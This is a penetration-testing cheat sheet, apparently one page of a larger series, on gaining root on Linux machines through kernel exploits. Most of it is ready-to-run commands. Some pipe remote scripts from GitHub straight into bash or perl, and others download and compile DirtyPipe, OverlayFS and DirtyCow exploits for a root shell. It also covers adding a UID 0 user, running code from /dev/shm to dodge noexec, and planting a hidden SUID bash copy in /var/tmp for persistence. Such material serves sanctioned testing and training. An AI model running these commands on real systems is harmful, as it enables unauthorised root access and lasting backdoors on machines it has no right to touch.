PrivEsc - Kernel & Exploits

Last resort. Kernel exploits crash boxes, leave traces, and can be patched but the userland still shows the vulnerable banner. Try 06-09 and 11 first.

i. Identify the kernel and distro #

uname -a
uname -r                                   ## kernel only
cat /etc/os-release
cat /proc/version
arch                                       ## x86_64, aarch64, etc

Get the GLIBC version, many exploits are libc-version-dependent:

ldd --version | head -1
ls -la /lib/x86_64-linux-gnu/libc.so.6 /lib64/libc.so.6 2>/dev/null

ii. Run a suggester #

linux-exploit-suggester (les) and linux-exploit-suggester-2 (les2):

curl -sL https://github.com/mzet-/linux-exploit-suggester/raw/master/linux-exploit-suggester.sh | bash
curl -sL https://github.com/jondonas/linux-exploit-suggester-2/raw/master/linux-exploit-suggester-2.pl | perl

Output is noisy, pay attention only to “Highly probable” or top-rated suggestions. Cross-check with the kernel version on Google before downloading any PoC.

iii. The big-name kernel exploits #

iv. DirtyPipe (CVE-2022-0847) #

Most reliable modern kernel privesc. Overwrites read-only pages in the page cache. The classic trick: overwrite the root password hash in /etc/passwd (works because /etc/passwd is world-readable, so it gets paged in).

curl -L https://haxx.in/files/dirtypipez.c -o dp.c
gcc dp.c -o dp
## Pick any SUID binary, it will hijack and give you root:
./dp /usr/bin/sudo

What it does: finds a SUID binary, patches a single byte in the cached page, executes it. Patches revert when the page is evicted. No persistent disk change unless you make it.

v. OverlayFS Ubuntu (CVE-2021-3493) #

Ubuntu 20.04 with default kernel, very common on labs:

curl -L https://github.com/briskets/CVE-2021-3493/raw/main/exploit.c -o ofs.c
gcc ofs.c -o ofs
./ofs
## Drops to root shell

vi. DirtyCow (CVE-2016-5195) #

Old, but old boxes still exist. Race-based, may need many tries:

git clone https://github.com/firefart/dirtycow
cd dirtycow && gcc -pthread dirty.c -o dirty -lcrypt
./dirty mynewpass
su firefart                                ## adds a UID 0 user 'firefart'

Variants:

• cowroot.c - writes to /etc/passwd
• pokemon.c - writes shellcode into SUID binary

vii. Pre-flight before running any kernel exploit #

These steps save hours of debugging:

## Compiler available?
command -v gcc cc clang
## Headers?
ls /usr/include/linux/ 2>/dev/null | head
## /tmp executable? Some boxes mount /tmp noexec
mount | grep tmp
## If noexec: compile to /dev/shm or /var/tmp
## Disk space?
df -h /tmp /dev/shm

When /tmp is noexec:

gcc exploit.c -o /dev/shm/x && /dev/shm/x

When no compiler exists, cross-compile on attacker for the target’s libc:

## Static compile, no libc dependency:
gcc -static exploit.c -o exploit
## If it links libc, match GLIBC version on attacker

viii. When kernel exploits go wrong #

• Box hangs or kernel oops shows in dmesg -> reboot may be needed
• Exploit “succeeds” but shell exits immediately -> wrap with exec bash -p at end
• Privesc works but immediately gets killed -> some hardening kills new root shells, use the exploit to write to /etc/passwd instead

ix. Userland exploits worth knowing #

These aren’t kernel but they hit common userland that is often outdated:

• GLIBC LD_AUDIT (CVE-2010-3856) - very old SUID privesc
• bash <= 4.3 Shellshock (CVE-2014-6271) - if a SUID/setuid script calls bash via env
• OpenSSL CVE-2014-0160 (Heartbleed) - on network services, leaks memory not privesc
• sudo Baron Samedit (CVE-2021-3156) - see 06 PrivEsc - SUID & Sudo
• polkit PwnKit (CVE-2021-4034) - see 09 PrivEsc - Services & Sockets

x. After kernel privesc, persistence #

A kernel exploit shell can die. Lock in persistence immediately, see 13 Persistence & Cleanup :

## Quick: add a SUID bash for re-entry
cp /bin/bash /var/tmp/.x
chmod +s /var/tmp/.x
## Then drop to a regular shell, exit the kernel-exploit shell, and re-enter:
/var/tmp/.x -p